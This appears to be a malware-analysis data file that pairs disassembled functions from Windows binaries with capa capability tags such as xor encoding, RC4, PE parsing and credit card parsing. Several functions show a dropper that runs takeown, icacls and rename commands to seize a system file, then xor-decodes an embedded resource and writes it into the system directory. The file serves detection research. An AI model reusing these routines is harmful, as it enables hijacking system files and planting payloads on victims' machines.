joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7ff6a01f9190
Capabilities:
Encode data using xor

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
mov r12, rdx
lea rax, [r8 + 1]
mov rdi, rcx
mov rbx, r8
movabs rdx, 0x5851f42d4c957f2d
lea rsi, [rdi + 0x20]
movabs rcx, 0x8126b91cbf22495c
imul rax, rdx
lea rbp, [rdi + 0xc3e0]
movabs rdx, 0x810a978a59f5a1fc
lea r13, [rsp + 0x20]
xor rdx, rax
movq xmm0, rax
xor rcx, rax
movq xmm1, rdx
movq xmm2, rcx
movabs rdx, 0xa77099df38c2d846
movabs rcx, 0x9237efb9ceaaec0c
xor rdx, rax
punpcklqdq xmm0, xmm1
xor rcx, rax
movups xmmword [rsp + 0x20], xmm0
movq xmm0, rdx
movq xmm3, rcx
movabs rdx, 0x494d2597179f8a62
xor rdx, rax
punpcklqdq xmm0, xmm2
movabs rcx, 0x84853bf7b62ce54e
movups xmmword [rsp + 0x30], xmm0
movq xmm0, rdx
movabs rdx, 0x2f2a56746ce62d78
punpcklqdq xmm0, xmm3
xor rdx, rax
xor rax, rcx
movups xmmword [rsp + 0x40], xmm0
movq xmm4, rax
movq xmm0, rdx
punpcklqdq xmm0, xmm4
movups xmmword [rsp + 0x50], xmm0
nop
and ebx, 0x3fffff
mov rdx, rsi
mov rcx, r13
add rsi, 0x1878
shl rbx, 6
add rbx, qword [rdi]
prefetchnta byte [rbx]
call fcn.7ff6a01fb2d0
mov rax, qword [rbx]
xor qword [rsp + 0x20], rax
mov rax, qword [rbx + 8]
xor qword [rsp + 0x28], rax
mov rax, qword [rbx + 0x10]
xor qword [rsp + 0x30], rax
mov rax, qword [rbx + 0x18]
xor qword [rsp + 0x38], rax
mov rax, qword [rbx + 0x20]
xor qword [rsp + 0x40], rax
mov rax, qword [rbx + 0x28]
xor qword [rsp + 0x48], rax
mov rax, qword [rbx + 0x30]
xor qword [rsp + 0x50], rax
mov rax, qword [rbx + 0x38]
xor qword [rsp + 0x58], rax
movsxd rax, dword [rsi - 0x64]
mov rbx, qword [rsp + rax*8 + 0x20]
cmp rbp, rsi
jne 0x7ff6a01f9270
movdqu xmm5, xmmword [r13]
movdqu xmm1, xmmword [r13 + 0x10]
movdqu xmm2, xmmword [r13 + 0x20]
mov rax, qword [r13 + 0x30]
mov rdx, qword [r13 + 0x38]
movups xmmword [r12], xmm5
mov qword [r12 + 0x30], rax
mov qword [r12 + 0x38], rdx
movups xmmword [r12 + 0x10], xmm1
movups xmmword [r12 + 0x20], xmm2
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
Function at 0x7ff6a02d4460
Capabilities:
Encode data using xor

Disassembly:
push rbx
mov r9, rcx
test rcx, rcx
je 0x7ff6a02d44d0
movzx edx, byte [rcx]
xor eax, eax
test dl, dl
je 0x7ff6a02d44c4
xor r8d, r8d
mov r11d, 0x100
mov ebx, 0x20
movsx eax, dl
mov r10d, r8d
add r9, 1
or eax, r11d
add r11d, 0x100
mov edx, eax
shr edx, 2
xor edx, eax
imul eax, eax
and edx, 0xf
mov ecx, edx
shl r10d, cl
mov ecx, ebx
sub ecx, edx
movzx edx, byte [r9]
shr r8, cl
or r10d, r8d
xor eax, r10d
mov r8d, eax
test dl, dl
jne 0x7ff6a02d4480
shr eax, 0x10
xor eax, r8d
pop rbx
ret
xor eax, eax
pop rbx
ret

Function at 0x7ff6a02d4a60
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rdi, rcx
test rcx, rcx
je 0x7ff6a02d4ad8
movsx ecx, byte [rcx]
xor eax, eax
test cl, cl
je 0x7ff6a02d4ac9
mov ebp, 0x100
xor ebx, ebx
mov esi, 0x20
nop dword [rax]
call fcn.7ff6a028ee60
mov r8d, ebx
add rdi, 1
or eax, ebp
add ebp, 0x100
mov edx, eax
shr edx, 2
xor edx, eax
imul eax, eax
and edx, 0xf
mov ecx, edx
shl r8d, cl
mov ecx, esi
sub ecx, edx
shr rbx, cl
movsx ecx, byte [rdi]
or r8d, ebx
xor eax, r8d
mov ebx, eax
test cl, cl
jne 0x7ff6a02d4a88
shr eax, 0x10
xor eax, ebx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x7ff6a037b8c0
Capabilities:
Encode data using xor

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rdi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x88]
mov r13, rcx
mov r12, rdx
mov rcx, r8
mov edx, 4
mov rbx, r8
mov rsi, r9
call fcn.7ff6a02824a0
test eax, eax
jne 0x7ff6a037b90a
mov edx, 4
mov rcx, r12
call fcn.7ff6a02824a0
test eax, eax
je 0x7ff6a037b940
mov r9, rsi
mov r8, rbx
mov rdx, r12
mov rcx, r13
mov qword [rsp + 0x88], rbp
mov qword [rsp + 0x80], rdi
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp fcn.7ff6a037aa50
mov edx, 4
mov rcx, rsi
call fcn.7ff6a02824a0
test eax, eax
jne 0x7ff6a037b90a
mov r9, rsi
mov r8, rbx
mov rdx, r12
mov rcx, r13
mov qword [rsp + 0x88], rbp
mov qword [rsp + 0x80], rdi
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp fcn.7ff6a037a200
Function at 0x7ff6a03946b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov eax, dword [0x7ff6a08c1a20]
test eax, eax
je 0x7ff6a03946e0
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rbx, [0x7ff6a08c19c0]
mov r8d, 0x30
mov dword [0x7ff6a08c1a20], 1
lea rcx, [0x7ff6a079efb0]
mov rdx, rbx
call qword [0x7ff6a0bce3cc]
sub eax, 1
cmp eax, 0x2e
ja 0x7ff6a03948c0
movzx ebp, word [0x7ff6a08c19c0]
xor eax, eax
mov esi, 0xa
cmp bp, 0x7e
sete al
lea rbx, [rbx + rax*2]
cmp word [rbx], 0x30
je 0x7ff6a0394920
xor r13d, r13d
mov edi, esi
jmp 0x7ff6a0394750
sub r12d, 0x30
cmp esi, r12d
jbe 0x7ff6a039477e
imul r13, rdi
add r13, r12
movzx r12d, word [rbx]
mov edx, 4
add rbx, 2
mov ecx, r12d
call fcn.7ff6a028ee40
test eax, eax
jne 0x7ff6a0394740
mov edx, 0x10
mov ecx, r12d
call fcn.7ff6a028ee40
test eax, eax
jne 0x7ff6a0394880
cmp bp, 0x7e
je 0x7ff6a03948d8
movzx r15d, word [0x7ff6a08c19c0]
mov rbp, qword [0x7ff6a0822cc0]
cmp r15w, 0x3a
je 0x7ff6a0394958
test r15w, r15w
je 0x7ff6a03948b0
lea rax, [0x7ff6a08c19c0]
jmp 0x7ff6a03947c6
add rax, 2
test r15w, r15w
je 0x7ff6a03948b0
mov edx, r15d
movzx r15d, word [rax + 2]
cmp dx, 0x3a
jne 0x7ff6a03947b8
xor edx, edx
cmp r15w, 0x7e
sete dl
lea rbx, [rax + rdx*2 + 2]
cmp word [rbx], 0x30
je 0x7ff6a0394990
mov esi, 0xa
xor r14d, r14d
mov edi, esi
jmp 0x7ff6a0394810
sub r12d, 0x30
cmp esi, r12d
jbe 0x7ff6a039483a
imul r14, rdi
add r14, r12
movzx r12d, word [rbx]
mov edx, 4
add rbx, 2
mov ecx, r12d
call fcn.7ff6a028ee40
test eax, eax
jne 0x7ff6a0394800
mov edx, 0x10
mov ecx, r12d
call fcn.7ff6a028ee40
test eax, eax
jne 0x7ff6a0394898
movq xmm0, qword [0x7ff6a079f138]
movq xmm2, r14
pxor xmm0, xmm2
cmp r15w, 0x7e
je 0x7ff6a0394940
mov qword [rbp + 8], r14
mov eax, r13d
shr r13, 0x20
or ah, 4
movd xmm3, r13d
movd xmm0, eax
punpckldq xmm0, xmm3
movq qword [rbp], xmm0
jmp 0x7ff6a03946ca
mov ecx, r12d
call fcn.7ff6a028ee60
lea r12d, [rax - 0x57]
jmp 0x7ff6a0394744
mov ecx, r12d
call fcn.7ff6a028ee60
lea r12d, [rax - 0x57]
jmp 0x7ff6a0394804
mov qword [rbp + 8], 0
jmp 0x7ff6a039485a
mov rbp, qword [0x7ff6a0822cc0]
mov rcx, rbp
call fcn.7ff6a03546a0
mov r13, rax
jmp 0x7ff6a039485a
mov rbp, qword [0x7ff6a0822cc0]
mov rcx, rbp
call fcn.7ff6a03546a0
mov r8, rax
mov rax, r13
not rax
and rax, r8
test r13d, 0x1000000
je 0x7ff6a0394970
movabs r13, 0xedfff7fdffffffff
movzx r15d, word [0x7ff6a08c19c0]
and r13, rax
jmp 0x7ff6a03947a2
movzx ecx, word [rbx + 2]
call fcn.7ff6a028ee60
cmp eax, 0x78
je 0x7ff6a0394980
add rbx, 2
mov esi, 8
jmp 0x7ff6a0394736
movq xmm1, qword [rbp + 8]
pand xmm1, xmm0
movq qword [rbp + 8], xmm1
jmp 0x7ff6a039485a
mov rcx, rbp
call fcn.7ff6a03546a0
movzx r15d, word [0x7ff6a08c19c0]
mov r13, rax
jmp 0x7ff6a03947a2
movzx r15d, word [0x7ff6a08c19c0]
mov r13, rax
jmp 0x7ff6a03947a2
add rbx, 4
mov esi, 0x10
jmp 0x7ff6a0394736
movzx ecx, word [rbx + 2]
call fcn.7ff6a028ee60
cmp eax, 0x78
je 0x7ff6a03949ac
add rbx, 2
mov esi, 8
jmp 0x7ff6a03947f2
add rbx, 4
mov esi, 0x10
jmp 0x7ff6a03947f2
Function at 0x7ff6a03e5060
Capabilities:
Encode data using base64

Disassembly:
push r12
lea r11, [0x7ff6a07af4e0]
mov r10, rdx
test rcx, rcx
je 0x7ff6a03e5080
test byte [rcx + 0x5c], 2
lea rax, [0x7ff6a07af480]
cmovne r11, rax
xor r12d, r12d
test r9d, r9d
jg 0x7ff6a03e50e5
jmp 0x7ff6a03e5125
movzx eax, byte [r8 + 1]
add r8, 3
shl eax, 8
or eax, edx
movzx edx, byte [r8 - 1]
mov ecx, eax
shr ecx, 0x12
or edx, eax
shr eax, 0xc
movzx ecx, byte [r11 + rcx]
and eax, 0x3f
mov byte [r10 - 4], cl
movzx eax, byte [r11 + rax]
mov byte [r10 - 3], al
mov eax, edx
and edx, 0x3f
shr eax, 6
and eax, 0x3f
movzx eax, byte [r11 + rax]
mov byte [r10 - 2], al
movzx eax, byte [r11 + rdx]
mov byte [r10 - 1], al
sub r9d, 3
je 0x7ff6a03e5125
movzx edx, byte [r8]
mov rcx, r10
add r12d, 4
add r10, 4
shl edx, 0x10
cmp r9d, 2
jg 0x7ff6a03e5090
je 0x7ff6a03e5130
mov eax, edx
shr edx, 0xc
shr eax, 0x12
and edx, 0x30
movzx eax, byte [r11 + rax]
mov byte [rcx], al
movzx eax, byte [r11 + rdx]
mov byte [rcx + 1], al
mov eax, 0x3d
mov byte [rcx + 2], al
mov byte [rcx + 3], 0x3d
mov eax, r12d
mov byte [r10], 0
pop r12
ret
movzx eax, byte [r8 + 1]
shl eax, 8
or eax, edx
shr edx, 0x12
movzx edx, byte [r11 + rdx]
mov byte [rcx], dl
mov edx, eax
shr eax, 6
shr edx, 0xc
and eax, 0x3c
and edx, 0x3f
movzx edx, byte [r11 + rdx]
mov byte [rcx + 1], dl
movzx eax, byte [r11 + rax]
jmp 0x7ff6a03e511e
Function at 0x7ff6a0481140
Capabilities:
Encode data using xor

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x820
mov rbp, rcx
mov rbx, rdx
test rcx, rcx
je 0x7ff6a04812f3
test rdx, rdx
je 0x7ff6a04812f3
mov r10, qword [rcx]
test r10, r10
je 0x7ff6a04812f3
mov eax, dword [rdx + 0x18]
mov r11, qword [rdx]
lea r12, [rsp + 0x20]
mov ecx, pe_nt_image_headers64
mov rdi, r12
mov r9, rax
shl rax, 0xa
lea rsi, [r11 + rax - 0x400]
rep movsq qword [rdi], qword [rsi]
mov esi, dword [rdx + 0x1c]
cmp esi, 1
jbe 0x7ff6a0481249
cmp esi, 3
jbe 0x7ff6a0481305
lea eax, [rsi - 4]
lea r13d, [r9 + r9 - 1]
mov edi, 3
and eax, 0xfffffffe
lea r14d, [rax + 5]
mov r8d, r13d
lea ecx, [r13 + r9]
mov rax, r12
xor edx, edx
shl r8, 0xa
mov r13, rcx
shl rcx, 0xa
add r8, r11
add rcx, r11
nop dword [rax]
movdqu xmm0, xmmword [r8 + rdx]
movdqu xmm1, xmmword [r8 + rdx + 0x10]
add rax, 0x20
pxor xmm0, xmmword [rax - 0x20]
pxor xmm1, xmmword [rax - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
movdqu xmm2, xmmword [rcx + rdx + 0x10]
movdqu xmm3, xmmword [rcx + rdx]
add rdx, 0x20
pxor xmm1, xmm2
pxor xmm0, xmm3
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
cmp rdx, 0x400
jne 0x7ff6a04811e8
lea eax, [rdi + 2]
add r13d, r9d
cmp eax, r14d
je 0x7ff6a048130a
mov edi, eax
jmp 0x7ff6a04811c3
lea r8, [rsp + 0x420]
mov rdi, r8
mov ecx, pe_nt_image_headers64
mov rsi, r12
mov edx, dword [rbp + 8]
rep movsq qword [rdi], qword [rsi]
mov r9d, 0x400
mov rcx, r10
lea r13, [rsp + 0x420]
mov r8, r13
call fcn.7ff6a0484530
mov r9d, dword [0x7ff6a0b4bd90]
test r9d, r9d
je 0x7ff6a04812ad
mov edx, 0x400
mov rcx, r12
call fcn.7ff6a0480d80
mov r8d, dword [0x7ff6a0b4bd90]
test r8d, r8d
je 0x7ff6a04812ad
mov edx, 0x400
mov rcx, r13
call fcn.7ff6a0480d80
mov ecx, dword [rbx + 0x28]
test ecx, ecx
jne 0x7ff6a0481359
mov r12d, dword [rbx + 0x10]
mov edx, dword [0x7ff6a0b4bd90]
mov rcx, qword [rbx]
shl r12d, 0xa
test edx, edx
je 0x7ff6a04812da
test rcx, rcx
je 0x7ff6a04812da
mov rdx, r12
call fcn.7ff6a0480d80
mov eax, dword [rbx + 0x2c]
test eax, eax
jne 0x7ff6a04812f3
mov rax, qword [rbp + 0x68]
mov rcx, qword [rbx]
test rax, rax
je 0x7ff6a048136a
mov rdx, r12
call rax
nop
add rsp, 0x820
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov edi, 1
add edi, 1
lea r8, [rsp + 0x420]
mov ecx, edi
imul ecx, r9d
sub ecx, 1
mov edx, ecx
mov rax, r12
shl rdx, 0xa
add rdx, r11
nop word [rax + rax]
movdqu xmm0, xmmword [rdx]
pxor xmm0, xmmword [rax]
add rax, 0x10
add rdx, 0x10
movups xmmword [rax - 0x10], xmm0
cmp r8, rax
jne 0x7ff6a0481330
add ecx, r9d
cmp esi, edi
jbe 0x7ff6a0481251
add edi, 1
jmp 0x7ff6a048131e
mov edx, dword [rbp + 8]
mov rcx, qword [rbp]
call fcn.7ff6a0482870
jmp 0x7ff6a04812b8
call fcn.7ff6a050d6e0
jmp 0x7ff6a04812f3
Function at 0x7ff6a0484260
Capabilities:
Hash data using sha512

Disassembly:
pxor xmm0, xmm0
movabs r8, 0xbb67ae8584caa73b
movabs r9, 0x3c6ef372fe94f82b
movabs r10, 0xa54ff53a5f1d36f1
movabs rax, 0x6a09e667f3bcc908
movabs r11, 0x510e527fade682d1
or rdx, 0x1010000
mov qword [rcx + 8], r8
movabs r8, 0x9b05688c2b3e6c1f
mov qword [rcx + 0x10], r9
xor rdx, rax
movabs r9, 0x1f83d9abfb41bd6b
mov qword [rcx + 0x18], r10
movabs r10, 0x5be0cd19137e2179
mov qword [rcx + 0x20], r11
mov qword [rcx + 0x28], r8
mov qword [rcx + 0x30], r9
mov qword [rcx + 0x38], r10
mov qword [rcx + 0xd0], 0
mov qword [rcx], rdx
movups xmmword [rcx + 0x40], xmm0
ret
Function at 0x7ff6a04fdd00
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x7ff6a0824720]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x7ff6a04fdd20
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x7ff6a04fdd28
ret
cmp word [r8 + 0x18], 0x20b
jne 0x7ff6a04fdd20
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x7ff6a04fdd75
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x7ff6a04fdd6c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x7ff6a04fdd20
add rax, 0x28
cmp rax, r9
jne 0x7ff6a04fdd58
xor eax, eax
ret

Function at 0x7ff6a04fdd80
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x7ff6a0824720]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x7ff6a04fdda0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x7ff6a04fdda8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x7ff6a04fdda0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x7ff6a04fde30
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x7ff6a0824720]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x7ff6a04fde50
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x7ff6a04fde58
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x7ff6a06b2340
Capabilities:
Parse credit card information

Disassembly:
mov rax, qword [rcx + 0xb8]
cmp qword [rcx + 0xb0], rax
je 0x7ff6a06b2380
mov eax, dword [rcx + 0x88]
test eax, eax
je 0x7ff6a06b2368
cmp eax, 2
je 0x7ff6a06b2370
cmp eax, 1
je 0x7ff6a06b2378
ret
jmp fcn.7ff6a06b24e0
jmp fcn.7ff6a06b3500
jmp fcn.7ff6a06b2900
mov dword [rcx + 0x90], 0x1b
ret
Function at 0x180001020
Capabilities:
Create process on windows
Encode data using xor
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
push rbx
push rdi
sub rsp, 0x848
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x830], rax
mov eax, dword [str.SYSTEM]
mov rbx, rcx
mov rdi, rdx
mov dword [rsp + 0x20], eax
movzx eax, word [0x18001281c]
lea rcx, [rsp + 0x431]
mov word [rsp + 0x24], ax
movzx eax, byte [0x18001281e]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x430], 0
mov byte [rsp + 0x26], al
call fcn.180002c40
lea rdx, str._s_s
lea rcx, [rsp + 0x430]
mov r9, rdi
mov r8, rbx
call fcn.180001bf8
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x30], 0
call fcn.180002c40
lea r8, [rsp + 0x430]
lea rdx, str.takeown__f__s
lea rcx, [rsp + 0x30]
call fcn.180001bf8
lea rcx, [rsp + 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x430]
lea rdx, str.icacls__s__grant__s:f
lea rcx, [rsp + 0x30]
call fcn.180001bf8
lea rcx, [rsp + 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rsp + 0x430]
lea rdx, str.cmd__c_rename__s_rw_s
lea rcx, [rsp + 0x30]
mov r9, rdi
call fcn.180001bf8
lea rcx, [rsp + 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x1800176f8]
lea r8, [0x180012868]
mov edx, 0x72
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
jne 0x180001174
xor eax, eax
jmp 0x180001244
mov rcx, qword [0x1800176f8]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x18000116d
mov rcx, rax
mov qword [rsp + 0x870], rbp
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbp, rax
test rax, rax
je 0x18000123c
mov rcx, qword [0x1800176f8]
mov rdx, rbx
mov qword [rsp + 0x840], rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
lea rdx, [0x180012870]
lea rcx, [rsp + 0x430]
movsxd rbx, eax
call fcn.180001b08
mov rsi, rax
test rax, rax
je 0x18000122f
mov rcx, rbx
call fcn.180001a28
mov r8, rbx
mov rdx, rbp
mov rcx, rax
mov rdi, rax
call fcn.180005360
test rbx, rbx
jle 0x18000120c
mov rcx, rdi
mov rdx, rbx
xor byte [rcx], 0xaa
inc rcx
dec rdx
jne 0x180001201
mov r9, rsi
mov r8, rbx
mov edx, 1
mov rcx, rdi
call fcn.180001e24
mov rcx, rsi
call fcn.180001b90
mov rcx, rdi
call fcn.180001a20
mov rsi, qword [rsp + 0x840]
mov eax, 1
mov rbp, qword [rsp + 0x870]
mov rcx, qword [rsp + 0x830]
xor rcx, rsp
call fcn.180001a00
add rsp, 0x848
pop rdi
pop rbx
ret
Function at 0x180001260
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
push rbx
sub rsp, 0x860
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x850], rax
lea rcx, [rsp + 0x450]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x50], 0
call fcn.180002c40
lea r8, [rsp + 0x450]
lea rdx, str._s_rwi.exe
lea rcx, [rsp + 0x50]
call fcn.180001bf8
mov rcx, qword [0x1800176f8]
lea r8, [0x180012868]
mov edx, 0x6e
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
jne 0x1800012e6
xor eax, eax
jmp 0x1800013df
mov rcx, qword [0x1800176f8]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1800012df
mov rcx, rax
mov qword [rsp + 0x880], rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
je 0x180001340
mov rcx, qword [0x1800176f8]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x50]
movsxd rbx, eax
call fcn.180001eb4
test eax, eax
jne 0x180001347
cmp dword [rsp + 0x34], ebx
jne 0x180001347
xor eax, eax
jmp 0x1800013d7
lea rdx, [0x180012870]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x870], rbp
call fcn.180001b08
mov rbp, rax
test rax, rax
je 0x1800013ca
mov rcx, rbx
mov qword [rsp + 0x878], rsi
call fcn.180001a28
mov r8, rbx
mov rdx, rdi
mov rcx, rax
mov rsi, rax
call fcn.180005360
test rbx, rbx
jle 0x18000139f
mov rcx, rsi
mov rdx, rbx
xor byte [rcx], 0xaa
inc rcx
dec rdx
jne 0x180001394
mov r9, rbp
mov r8, rbx
mov edx, 1
mov rcx, rsi
call fcn.180001e24
mov rcx, rbp
call fcn.180001b90
mov rcx, rsi
call fcn.180001a20
mov rsi, qword [rsp + 0x878]
mov rbp, qword [rsp + 0x870]
mov eax, 1
mov rdi, qword [rsp + 0x880]
mov rcx, qword [rsp + 0x850]
xor rcx, rsp
call fcn.180001a00
add rsp, 0x860
pop rbx
ret
Function at 0x180001400
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x970
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x960], rax
mov rbx, rcx
mov rcx, qword [0x1800176f8]
lea r8, [0x180012868]
mov edx, 0x72
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x18000150e
mov rcx, qword [0x1800176f8]
mov rdx, rax
mov qword [rsp + 0x988], rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
xor ecx, ecx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rsp + 0x50]
mov rcx, rax
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0x560]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rdx, [0x180012884]
lea rcx, [rsp + 0x560]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rcx, [rsp + 0x161]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x160], 0
call fcn.180002c40
lea r8, [rsp + 0x560]
lea rdx, str._s_s
lea rcx, [rsp + 0x160]
mov r9, rbx
call fcn.180001bf8
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x160]
call fcn.180001eb4
test eax, eax
jne 0x1800014f6
cmp dword [rsp + 0x34], edi
je 0x180001506
lea rcx, [rsp + 0x560]
mov rdx, rbx
call fcn.180001020
mov rdi, qword [rsp + 0x988]
mov rcx, qword [rsp + 0x960]
xor rcx, rsp
call fcn.180001a00
add rsp, 0x970
pop rbx
ret

Function at 0x18000270b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [section..data]
jne 0x180001a1a
rol rcx, 0x10
test cx, 0xffff
jne 0x180001a16
repz ret
ror rcx, 0x10
jmp 0x180002664
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180016620]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180016718]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1800026e9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180016620]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x18000270b
mov rax, qword [rsp + 0x88]
mov qword [0x180016718], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1800166b8], rax
mov rax, qword [0x180016718]
mov qword [0x180016590], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1800166a0], rax
mov dword [0x180016580], 0xc0000409
mov dword [0x180016584], 1
mov rax, qword [section..data]
mov qword [rsp + 0x68], rax
mov rax, qword [0x180015008]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180016618], eax
mov ecx, 1
call fcn.180007ce8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1800103f0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180016618], 0
jne 0x180002792
mov ecx, 1
call fcn.180007ce8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x18000dae4
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.180006b34
xor ebx, ebx
cmp qword [0x180017660], rbx
mov rdi, rax
jne 0x18000dbf7
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x18000dcce
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000dcce
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x180017660], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x180017668], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x180017670], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x180017680], rax
test rax, rax
je 0x18000dbee
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
